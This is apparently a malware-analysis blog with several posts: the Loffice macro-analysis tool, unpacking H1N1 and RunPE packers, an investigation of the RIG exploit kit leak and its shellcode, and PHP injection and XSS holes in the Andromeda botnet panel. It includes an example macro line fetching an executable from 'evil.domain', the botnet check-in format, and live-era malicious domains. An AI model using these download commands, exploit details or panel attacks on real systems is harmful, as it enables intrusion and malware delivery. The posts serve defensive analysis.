måndag 21 november 2016

Loffice gets a makeover - Gives an insight into antis and detect code injection

There have been some time since there were any updates to loffice and frankly, there have been updates but they haven't been pushed. Mainly cause I had an initial plan which simply grew as new techniques were deployed by bad actors.

The updates are in short:
  • Better logging and reporting
  • Insight into antis
  • Evade "Recent documents"
  • Detect code injection
  • New exit mode
For those unfamiliar with loffice, read the initial post here.

Better logging and reporting

For those who ran the old version, logging was simply done to stdout which required the user to scroll through enough rows to get frustrated. This have changed, a directory is created in which each run will be saved instead of stdout.

Feedback will still be given on what is going on while the macro is executed as shown below.

After a session is terminated, either manually or via the selected exit mode, loffice will output a summary on what has been going on.

A complete picture is available in the log located in the "logs" directory.

This is what was shown in the console in the old version. Also, the images above show an example on how it will look if loffice detect that code injection is going on. More on this further down.

Insight into antis

This have been one of the more interesting features to add. In the old version loffice could battle antis by patching WMI queries for example, in this version it will give an insight or hint if you will, rather than patching and trying to bypass anti-analysis attempts.

The number of antis deployed and can be deployed are simply huge, but a common denominator between a large number of them are to detect strings within strings. This can for example be checking if the document name contains the string "malwr_", "malware" or ".bin". One of the functions used to check this is via the VBA function InStr. As the function where strings could easily be extracted on comparison wasn't exported I needed to locate the function statically regardless of the VBA DLL (vbe7.dll). This was done with pefile and capstone.

The result of this is that it's now possible to see if the macro is trying to profile the machine it's running on. The below image show the result of a malicious document being able to detect VMware Tools.

So if no malicious activity is noted be sure to check the last lines of the log for hints on why there wasn't any malicious actions.

Evade "Recent documents"

One of the earlier tricks of detecting sandboxes was to check the number of recently opened documents. If it was under a certain value the macro would fail.

Loffice will check this on start by counting the number of entries from the registry. Should it find that there are less than three items it will suggest adding a random number of documents with random names so that it would seem that there have been more activity that it actually have. This will be done for the whole Office suite (Word, PowerPoint and Excel).

Even though Word never been launced, loffice will add recent files and make it look it has been "used".

New exit mode & detecting code injection

This was one of the techniques I was simply waiting for in the wild; macros that use shellcode to perform RunPE-like operations.

When injecting a PE to a remote process there are a couple of things that needs to be done such as writing memory to the remote process, setup thread context and resume the remote suspended thread. These steps are used to increase a counter inject which will be used to determine if loffice should exit when the ZwResumeThread is called.

In the above image the summary loffice have noted that a suspended process has been created and that the "inject" threshold is above 2 which result in termination upon calling ZwResumeThread. A reminder will be displayed that the suspended process is still "running" which means that the injected data can be retrieved. Depending on the data written, the log file might reveal where to look:



Hopefully loffice have come to be more useful and user friendly than before. I have had sessions where loffice failed to set breakpoints (winappdbg issue) so be sure to run this in a VM. The issue can be spotted if you get a "RuntimeWarning", all the breakpoints for that particular module will not be set. This have been very random.

This version will be the end of the current layout, I will make it more configurable in the future, mainly to make it easy for anyone to contribute and make it modular. As always, if you have comments, suggestions or anything else, let me know.

The code is available on Github. As the project have outgrown itself, the quality of the code have gone the same way, re-work will be done, promise :)

fredag 22 juli 2016

Analyzing H1N1v2: Battle injection and dynamic imports in search of configs

While analyzing H1N1v2 I found myself using some methods that I can't remember having read about anywhere in terms of analysis, so I figured I might as well do a short write-up about it. Nothing revolutionary, but hopefully useful. A summary on H1N1v2 itself can be found on Kernelmode and analysis results have been published by Arbor.

Getting imports

As stated in the post above, the loader consist of two parts, the loader responsible for loading the second part, the actual payload responsible for communicating with the C2 server and perform any tasks retrieved from the C2 server. The sample used can be found on Malwr.

H1N1 is "crypted" and can be found in the resource section, XOR-encoded using a key ZIOUFAIOjf.

Static analysis of the "uncrypted" executable show that their isn't a import section. This by itself is suspicious and suggest that imports are resolved at runtime, making static analysis hard.

H1N1 resolves all imports for each module; first imports from kernel32 and then ntdll. The imports themselves are resolved by hash which eliminates the need for strings. Getting the base address for the modules are also resolved by hash.

The functions for getting the base address is the first call in the "main" function. The value moved to EBX just before the call looks very similar to a hash-like value, and inspecting the function confirms that this is indeed a "resolve by hash" function.

Before the next function is called, ESI and EDI have addresses moved to them, these are pointers to the destination IAT and an array of hashes that represent the imports to be resolved.

So it's resolving imports, and? As the original executable don't have imports on disk, static analysis would be a problem that much is clear. However since H1N1 resolves all the imports for each module it's possible to dump the imports to disk after they have been resolved. This would enable much faster static analysis and identifying interesting functions.

The weapon of choice is ImpRec. Using the "IAT Autosearch"-function would yield nothing which means that we must manually located the IAT which can be done by following any of the resolved imports in memory. Using the RVA from the IAT ImpRec is able to find the resolved imports, although with quite some invalid thunks.

By cutting away the invalid thunks (Show invalid) the result will be something like:

After fixing the original file with the imports the executable can be opened in IDA and the code will become much more easy to analyze.

This technique will be re-used later on when the final payload is retrieved. Up to this point the loader-part of H1N1 can be analyzed statically using IDA. I won't go into detail on how it works in this post.

Battle process injection

The loader is responsible for injecting its payload into another process, namely explorer.exe in this case. The loader creates a new suspended process and creates a new shared section which holds the payload code. Before the section is mapped into explorer.exe the loader will write code to the entrypoint, this is an excellent place to manipulate the code to make sure that we don't lose control over execution when the process is allowed to continue.

To be able to control the execution inside explorer.exe after the loader calls ResumeThread, a pause is needed, this can be done a couple of different ways, I've opted for the "EB FE"-approach (jump-to-self).

Before the code is copied it needs to be patched which can be done by following ESI (pointing to the source) and patching the two first bytes with EB FE.

The result would be that explorer will enter an infinite loop after ResumeThread is called. By attaching to the explorer process and replacing "EB FE" with the original two bytes we now have control over the execution of the injected code. The first thing that will happen is again that the base address for kernel32 will be located and imports resolved, the interesting part in this code is a couple of instructions further down from the entrypoint.

This is a loop that will decode something using simple XOR. Following EDI when entering the loop will show the progress as the loop executes. The end result is an executable which is the payload of H1N1.

Fix payload IAT and decode strings


After unpacking the Upack layer the entrypoint is again very familiar. As this is the actual payload, there will more than just imports from kernel32 and ntdll as there need to be imports used to communicate with the C2 server. Therefore there is some work to be done.

After having resolved the imports from kernel32 there is one import that is of special interest namely LoadLibraryA, without having a specific module loaded the imports can't be resolved. So a good idea is to fix the imports for the current state (after kernel32 imports have been resolved) and look up xrefs in IDA for LoadLibraryA which gives an idea where to look:

One function stands out, and looking at this function in IDA would reveal that there are not only a number of calls to LoadLibraryA but also calls to a function that resolves imports for each loaded module. One way to go about this would be to backtrack how execution ends up at this place, however, as the function doesn't have any dependencies from arguments passed upon being called, it can be called directly

So after having resolved kernel32 imports, a new origin can be set at the first instruction and the function can be executed until it returns. Several modules will be loaded and imports be resolved. At this point the IAT can be dumped from memory using the same approach as earlier which would give us a chance to make sense of the code in IDA.

At this point there is enough to get an understanding of the execution flow and what the different functions does in the payload. After following some imports and strings I end in a function that decode kind of a long string, well actually two strings. The beauty here is that the same technique can be used to decode the string as resolving the external imports, setting a new origin that is.

As VirtualAlloc will allocate the memory used for decoding the strings, the allocated memory can be followed during the execution which would give not only the C2 servers but also the encryption key:

The destination address of the encryption key was changed to show both in the same image.


H1N1 presents some interesting challenges while trying to find the config and non the less all the steps which are required to get to this point. This post is a combination of analysis findings but also a hint of tricks that can be used to get a better understanding of malware that is obfuscating for example imports and strings. When it comes to strings I highly recommend reading the article on analyzing Dridex by MalwareTech.

Again, H1N1 have been analyzed previously and published by Arbor, however, I wanted to shed some light on how the results could be achieved but also how to handle dynamic imports and process injection.

söndag 5 juni 2016

Loffice - Analyzing malicious documents using WinDbg

UPDATE: An updated version of loffice is available, details on the update is available here.

I found myself doing analysis of a larger number of malicious Office documents and Javascript "documents". And since the only thing I needed from them was the payload URL the manual analysis needed had to be automated to make it more efficient.

In the beginning I deobfuscated the documents by hand with some scripting included, but having seen the same type of documents over and over again I found myself just running the macro and extract the URL from memory. Still, there was too much manual work than I thought was needed, thinking that there must be a better, more controllable way.

Now, the result of this isn't really a new framework or package like oletools, rather I'm taking a different approach than doing analysis on the file itself while putting obfuscation out of play. This is inspired by dynamic analysis and debugging of regular malware executables.

Analysis beyond the document

VB-macro and Javascript can make use of for example MSXML2.XMLHTTP to interact with remote resources, this happens on a higher level compared to using WinAPI.

httpObject = CreateObject("MSXML2.XMLHTTP")
httpObject.Open "GET", "http://evil.domain/1.exe", False

The above is very simple but all of the magic responsible for making an actual HTTP-request is done behind the scenes. One of the things that is done is break down the URL in it's base components such as hostname and path before it can be used by Windows internal functions in for example WinInet.

MSXML2.XMLHTTP is built upon the URLmon which rely on WinInet. WinInet have a function for "cracking" a URL to its base components called InternetCrackUrl. So before a URL is retrieved it needs to be cracked which result in that any obfuscation plays a much smaller roll in the analysis as the deobfuscation takes place before InternetCrackUrl is called.

So rather than attacking the document at a script-level, we're attacking it on a lower level with a debugger. Lets look at an example how this works in practice.

WinDbg is the weapon of choice. For this example I'm using a malicious Word document from one of the Dridex campaigns. So by launching Word and attaching WinDbg and setting a breakpoint on InternetCrackUrlW it's not long before the breakpoint is hit when enabling macro inside the document.

With execution halted on the first instruction in InternetCrackUrlW, the parameters to the function is available on the stack, including the URL. The URL is the first argument passed and is found on ESP+4 (as I'm running on 32-bit).

So basically, without having to deobfuscate any code or uploading the document to a sandbox, a URL is found pointing to an executable which can be used to do further analysis.

Loffice - Lazy Office Analyzer

The beauty of WinDbg is that there is a Python module for controlling the debugger called WinAppDbg. If you haven't heard of or used it, I highly recommend looking into it, extremely useful.

What's essentially needed is to set a breakpoint on InternetCrackUrl as soon as wininet.dll is loaded into memory and reading the URL when the breakpoint is hit.

So I wrote a utility (Loffice) that makes use of this technique. It also includes a few other functions such as CreateFileW and CreateProcessW, these will enable extraction of the file path which a file will be written to and also if any new processes are to be launched.

WinInet isn't the only library that can be used to interact with an URL through macros and scripts, there is also WinHTTP, this is covered via WinHTTPCrackUrl, thereby covering both WinHTTP- and WinInet-based URL fetching.

To make it more dynamic I added some options on how loffice should behave when hitting a breakpoint.

Running loffice on a Word document and a Javascript "document":

One thing to note is that if loffice is told to exit on first URL extraction it would also exit if a new process is created. This is to make sure that control over the execution isn't lost to another process due to no URLs' found in the document.

I'll look into using hooks instead of breakpoints later on to be able to control the results of HTTP-related calls which would enable a higher chance of extracting all of the URLs' in a document/script instead of only the first. This is useful if a document only fetch from the first URL if it succeds.


So this isn't really your stand-alone tool for static analysis but rather a utility for applying controlled dynamic analysis on documents and scripts.

Rather than having to keep up with (de)obfuscation techniques, updating scripts or doing manual deobfuscation it's possible to let the host application do all the deobfuscation and take over when the interesting stuff such as HTTP requests are to be made.

This does, as you might have figured out rely on WinDbg and Microsoft Office. There is currently only supported on 32-bit systems (for now).

This initial version is basically a proof of concept that I will continue to work on. If you've got any thoughts/comments/suggestions, let me know.

Small update on the project

So after some time I got around to do put some more work into this. The above details the background of the project, since then I've added support for detecting and bypassing some anti-analysis via WMI but also exit on process creation via WMI, which now should the most common ways of creating processes from macros/scripts.

Loffice now supports 64-bit as well, I do however recommend that you don't mix winappdbg and Python version (32/64-bit), this is a warning from winappdbg the developer.

Loffice is available on Github.

måndag 21 september 2015

Unpacking malware | Why should packers be a showstopper?

Long time, no post... Even though lots is going on, I've had very little time to focus on a particular case, so I thought I'll leave a tip on how to unpack malware.

Back in the days when I first got into malware analysis I was completely overwhelmed about all the tools and technique that one had to know about and how to apply. Being a fast-tracker, I just wanted to dive into the deep end of the pool and learn everything as I go, little did I now how much of a showstopper this would be when it came to analyzing packed malware.

This post will give an example of how unpacking many of todays samples which are spread through both spam and drive-bys such as exploit kits. A post that at least I wished I've had come across while getting into malware analysis.

RunPE and other injection based packers

RunPE is a well documented technique for running code inside another process, I will thereby not go into depth how it works.

Long story short is that the packer will deobfuscate/decrypt/unpack (take a pick) the malicious payload, start a new suspended process, inject the unpacked code and run it.

There are some variations on how the packers run the unpacked code, for example creating a remote thread, changing the thread context (SetThreadContext) and calling ResumeThread or by hooking ZwClose. These are just some example I've come across.

The variations also goes for when writing the unpacked code to the newly created process. The most common way is by calling WriteProcessMemory, but other ways are ZwWriteVirtualMemory or using NtMapViewOfSection.

Now, what step remain to be given an example from? Creating a new suspended process. This is done by calling CreateProcess with the flag CREATE_SUSPENDED.

What is happening behind the scenes when calling any API that launch new processes, for example WinExec, CreateProcess, ShellExecute, etc. is that CreateProcessInternalW will be called, this is simply the lowest API for creating processes.

So how can this be used to unpack malware that utilize these techniques?

Unpacking using a debugger


Immunity/Olly have all the functions for making unpacking easy:
The majority of samples encountered that's using injection have had one thing in common, they all unpack their malicious payload before any new processes are created which means that setting a breakpoint at these process creating functions would allow the packer to unpack the malicious code to memory but break before any new processes are created.

As the malicious code is now unpacked and present in memory, it's possible to search for it using Binary Search. Binary Search allows for search for ASCII-, UNICODE- and Hex-strings, this is helpful as a PE-header recognized by for example "This program cannot be run in DOS mode". There will be quite a few hits as the malware itself is loaded plus all the DLLs as seen in the sample below:

When there is a hit on a region which aren't associated with any module, chances are that this is the unpacked code. In the screenshot below, a breakpoint has been set on CreateProcessInternalW which triggered the debugger to break. The memory is then searched for the existence of a PE-header (Ctrl+B in the Memory Pane):

Also note that there are other modules such as wininet loaded which wasn't there before. At this stage the PE can be extracted using the plugin OllyDumpEx that have the ability of searching a region for PE-headers and automatically parse it to identify sections but also dump the PE to disk:

That's basically all there is to it, by taking these very few steps, CryptoWall 3.0 have been unpacked and functions identified which is related to communication/domain generation:

As the the dumped sample is clean, which means no reconstruction of the IAT is required, it's also possible to run it in a debugger to investigate in more depth how it behaves without having to step through the packers code and handle injections into other processes.

I hope someone will find this post useful, again, it's nothing new, just a tip on how malware could be unpacked and how to handle packers utilizing the RunPE technique.

Thanks @malware_traffic for providing the sample used in the post, it can be found here.

torsdag 26 februari 2015

A dive into the wake of the RIG EK leak

Not long ago it became clear that parts of the exploit kit RIG was leaked, including both source code (admin) and database. @MalwareTechBlog wrote a post which summarizes the story behind the leak.

As the database included actual traffic and details from where the traffic was coming from it was possible to do some digging into in the origins of the redirects.

I settled on one of the referers found in the database as it was still active; oxprxt.tk which at the time of writing has been taken offline (domain does not resolve anymore). However, I will cover what was available and what data that has been collected during the analysis.

The flow which is associated with the referer was "51" and well, its not that impressive in terms of traffic volume, however, since more than 0 exploits launched, it gives the possibility of an infection:
Flow 51
This particular flow is associated with a user called "GenocideUID1971983" which can be broken down into Genocide and UID1971983 where the UID correlates to a user on a well-known hacking forum. This correlation also applies for the rest of the users except one in the leaked database.

I guess the seller wanted to make sure to keep track on which users that he had sold to, and reading the story about the leak and the posts related to the service it show signs of that it was targeted for sales on one particular forum.

Dive! Dive! Dive!

Accessing oxprxt.tk directly gives a fake webcam chat page. What happens in the background is a totally different thing.
First impressions while visiting oxprxt.tk

During the visit an error was generated related to PowerShell:
PowerShell Error?
Three seconds later the page will redirect to a fake Adobe Flash Player update page:

Fake Adobe Flash Player update page

Also, a request was generated in the background towards jqueryapi.info:

So...what happend?

The landingpage consists of a Javascript which is packed and obfuscated. First stage is a reversed, base64-encoded string which reveals another Javascript packed using a variant of the Dean Edwards packer.

The page is split into two parts, one being the HTML and redirection, the other an exploit for CVE-2014-6332.

The deobfuscated script shows two different methods for redirecting the victim to the fake Adobe Flash Player page, one being a timeout refresh and the other a click (for the impatient ones):
HTML and redirection methods
CVE-2014-6332 exploit
The above images are just snippets of the page, the full decoded page is available on [pastebin]. An almost exact copy of the exploit can be found on Exploit-DB [1] [2].

So a visitor can be redirected to the fake update page by either waiting more than 3 seconds or click the big "Click to CHAT"-button.

The error generated was due to my VM not having PowerShell installed which made it impossible to execute and download Update.exe. However, that particular file is the same threat that is provided through the fake update page (more on that further on).

The request that was made towards jqueryapi.info is quite interesting as it returns different results depending on the referer, however, the most interesting part is that one of the attempts generated the well-known cushion redirect:

Redirect cushion <23 chars>.domain.tld
As this acts as some kind of rotator, its unclear on how many different locations it could redirect to.

On the Adobe Flash Player page, a file install_flashplayer16x32_mssd_aaa_aih.exe ( d3014d0391fb9eccfccca288df6e11b8) is offered for downloading. This is one of the many files which reveals itself to be Betabot (details further on).

So, what have been found so far?

oxprxt.tk [VT] - Redirection to fake Adobe Flash page + exploiting CVE-2014-6332.
jqueryapi.info [VT]- Works as a rotator. [VT] - Hosting the payload (Betabot) for the CVE-2014-6332 exploit.

Time to poke the bear!

Digging deeper into the server hosting the payload it's found that there is more directories containing files with the same name (Update.exe) as well as a zip-archive named Virus.zip with an executable called Virus.exe.

The directory structure when on first visit:

/backend/ateb/Update.exe (d3014d0391fb9eccfccca288df6e11b8) - Betabot - Uploaded: 10th Feb
/backend/ateb/Update.exe (8cbf7cbcdbb24374d60eb95c11a489fc) - Betabot - Uploaded: 17th Feb
/backend/im3/Update.exe (911cfaba8fb33309e9f331ae3ebc5ca4) -Imminent Monitor - Uploaded: 3rd Feb
/backend/Update.exe (e833c258841623fadc2953e09a8f1d60) - Betabot - Uploaded: 3rd Feb
/Virus.zip -> Virus.exe (ce4946e36f82592320ba3a5d0c0e38f2) - Betabot - Uploaded: 8th Feb
/urmom/pl.php - Unknown, keeps loading until timeout is reached. - Uploaded: 29th Oct 2014
/Panel/ - Andromeda Panel

20th Feb a directory called Farhan was created which also included a zip-archive called Virus.zip, including an executable, Virus.exe (93d4053a4a8000ac07eac6cb1d80021e) which also is Betabot.

The Andromeda panel was identified through Virustotal results together with the analysis done by Fortinet:
Virustotal results
As no sample was available related to the Andromeda panel, what commands and other files that might have been downloaded on infection remains a mystery.

Prepare to get RickRolled!

All of the executables have one thing in common, which is that they are obfuscated with the same crypter, written in .NET, which limits the amount of victims that might be infected as .NET Framework must be installed.

Although the name of the crypter is unknown, it carries a rather interesting message when looking at the strings:

Link to YouTube playing 10 hour Rick Roll
Funny...anyway, unpacking was as trivial as putting a breakpoint on WriteProcessMemory and dumping the unpacked code from memory. Yet another layer of obfuscation was used before ending up with a plain Betabot:
Betabot strings
The only file that didn't turn out to be Betabot was the file located in /im3/ which turned out to be Imminent Monitor (IM):
IM is a RAT developed by Shockwave. It's sold publicly on its own website as well as on forums and it seems to be quite popular. As with the crypter mentioned earlier, IM is written in .NET as well and will thereby not run on all systems.

An interesting note is that the IM sample was uploaded 3rd Feb, and on 8th Feb, Genocide (the username assoicated with the RIG flow) posted a thread where he is selling his license for IM:
Selling IM3 license
This shortly after the /im3/-directory was removed. It is however unclear if this directory is tied to Genocide in the forums. The flow is however linked to this forum user.

Connecting all the dots and do some visualizing

For this particular case I decieded to use yEd to connect all the entities and create an overview of what have been found during the investigation, this also includes destinations on which the samples communicated.

All files mentioned are available on demand.

måndag 1 december 2014

RIG Exploit Kit - Shellcode analysis

Brad published a traffic analysis exercise which I had a quick look at and felt that I wanted to take it to the next level so I started looking at how to decode the payload delivered by the exploit kit.

I get the shellcode from the Flash exploit as it's provided as a hex-encoded string starting with "90909090" (NOP):

An easy way to go is to create an executable from the shellcode utilizing Shellcode2Exe to be able to step through it in OllyDbg.

Taking the step into shellcode
Loading it up in Olly, it will start with a loop which decodes the payload URL using XOR as seen below. The key can be found by inspecting ESI when first hitting the loop and the encoded data can be found by inspecting EDI.
After decoding:
The decoding loop will continue until the decoded byte is "!" (0x21), the reason will be explained later in the post under "Multiple payloads".

The shellcode uses URLDownloadToCacheFileA to download the payload. Should the payload be successfully downloaded, it will be opened with CreateFileA and read with ReadFile into memory allocated using VirtualAlloc.

After reading the file it will be decrypted using RC4 cipher with a key defined in the shellcode. I recommend reading the post from VRT on how to recognize RC4 when debugging. This is the function found in the shellcode:
Inspecting EDI when hitting the above lines it's found to have the following content:
EDI is pointing to the first byte of the key and EBP holds the key length which is 5 giving the key m3S4V.

At this point it's possible to let the shellcode run until CloseHandle is called and the decoded payload has been written back to disk or write a script for decoding the payload extracted from the PCAP. A small implementation of the RC4 cipher can be found here (Python).

Multiple payloads
What is the most interesting thing about the shellcode is that it carries more functionality than isn't used. The shellcode is used to download one payload, but the shellcode supports multiple payloads.

After calling CreateProcessA, the shellcode will step through the recently used URL looking for the end of the string (0x00), and comparing the next byte with "!" (0x21). If it's true, the shellcode will end otherwise it will start over with a new payload.
An example of URL-list would look like this:

Conclusion of sorts
RIGs shellcode have the capability to download and execute multiple payloads which are encrypted using RC4 (5 byte key). The URL-list is encoded using XOR (5 byte key).

API-calls used in the shellcode (in order of first call):
- LoadLibraryA
- URLDownloadToCacheFileA
- CreateFileA
- VirtualAlloc
- ReadFile
- SetFilePointer
- WriteFile
- VirtualFree
- CloseHandle
- CreateProcessA

You can find the hex-encoded shellcode on [pastebin].

torsdag 9 oktober 2014

Andromeda - Vulnerabilities and Enumeration

Andromeda has been around for quite some time and is a well known loader capable of both formgrabbing and keylogging. The bot has been well documented on several blogs around the web, however, I've not seen anyone taking a closer look at the panel source code, so when I stumbled upon the latest version of the panel I decided to take a look to see if there is anything useful in terms of vulnerabilities.

I was able to acquire logs during one of my investigations which illustrate how Andromeda is sold to the buyers and how to acquire the panel. It's sold through using an automated system, commands available to the buyer is shown below:
Available commands for buyers

Admin panel

The panel comes in a password protected RAR-archive which holds:
Andromeda Panel
Check out this post by @kafeine on how to panel looks in general, this post focus mostly on the source code and functionality.

Starting from the top with adm.php it is packed:

After unpacking and formatting it ends up with a layer of string obfuscation as shown in the extract:
Unpacked code with obfuscated strings
The strings are decoded using the below function where the first parameter is the encoded string and the second is the key:
Function for decoding strings

Using that same function together with some PHP "preg_match-magic" the code ends up much more readable.

PHP Code Injection (requires credentials)

One function that stood out in the code was SaveSettings:

SaveSettings to config (note: syntax is somewhat off)
The settings are written directly to file, without any checks for malformed content in the actual values. There is no validation done from the code where the function is called from either, opening up for PHP code injection.

Writing PHP code to config
Executing commands through config.php

Cross Site Scripting (requires credentials)

As it's possible to add tasks which are then listed in the panel, the code for adding them reveal that no validation is done for injecting for example Javascript and HTML:
Code for adding tasks to database
Leveraging the URL-field, whatever code that is injected will be executed if the tasklist is viewed.

Javascript saved in the URL field
Result of the Javascript while viewing tasklist

Command Enumeration (requires RC4 key)

Having established two vulnerabilities in the admin panel, the same type of code (obfuscation and naming convention) is also found in the gate (gate.php). Since Andromeda doesn't have the ability to upload files it ain't possible to remotely upload files, such as with the ZeuS remote update vulnerability.

However, it is however possible to communicate with the panel to retrieve commands and submit data in the form of keylogs and grabbed forms. The key can be acquired through debugging (out of scope in this post).

Code for parsing data from POST-request
The format used to doing a regular checkin is id:%lu|bid:%lu|os:%lu|a:%lu|rg:%lu, more can be found analyzing the binary (out of scope for this post). If the data is encrypted with the correct key and posted to the panel, the panel will respond with HTTP 200 OK and encrypted data if tasks have been configured.

The response is encrypted using the bot id as key.

If the wrong key is used to encrypt the data or the data is malformed, the panel will return HTTP 404 response.

Python makes it easy to automate all of this to enumerate commands from an existing server [script]:
Script for enumerating commands from panel

Uploading keylogs and formgrabs can be done by appending fg: or kl: followed by base64-encoded logs to the above format. Each grabbed form and each keylog is delimited by 0x01, the values in each log are delimited by 0x02 (for example user-agent, cookie and URL for forms grabbed).
Code for parsing uploaded logs
An example of formatting for keylogs before base64 encoding:
\x01<keylog>\x02<process caption>\x02<process name>\x01

\x01<cookie>\x02<form data>\x02<user-agent>\x02<URL>\x01

The data posted does however not execute in the panel as it gets escaped on output. But it does enable for leaving a message to the actor(s) running the panel.


The vulnerabilities might very well exist in more places but vulnerabilities specified does however enable for example researches to battle malware and malware campaigns.

By enumerating commands from the panel, it's possible to track the actors steps by downloading the malware and plugins that the bot is intended to download.

It's also possible to leave a message in the form of keylogs and formgrabs to let the actor(s) know that they are under the observation.

Recommended Reading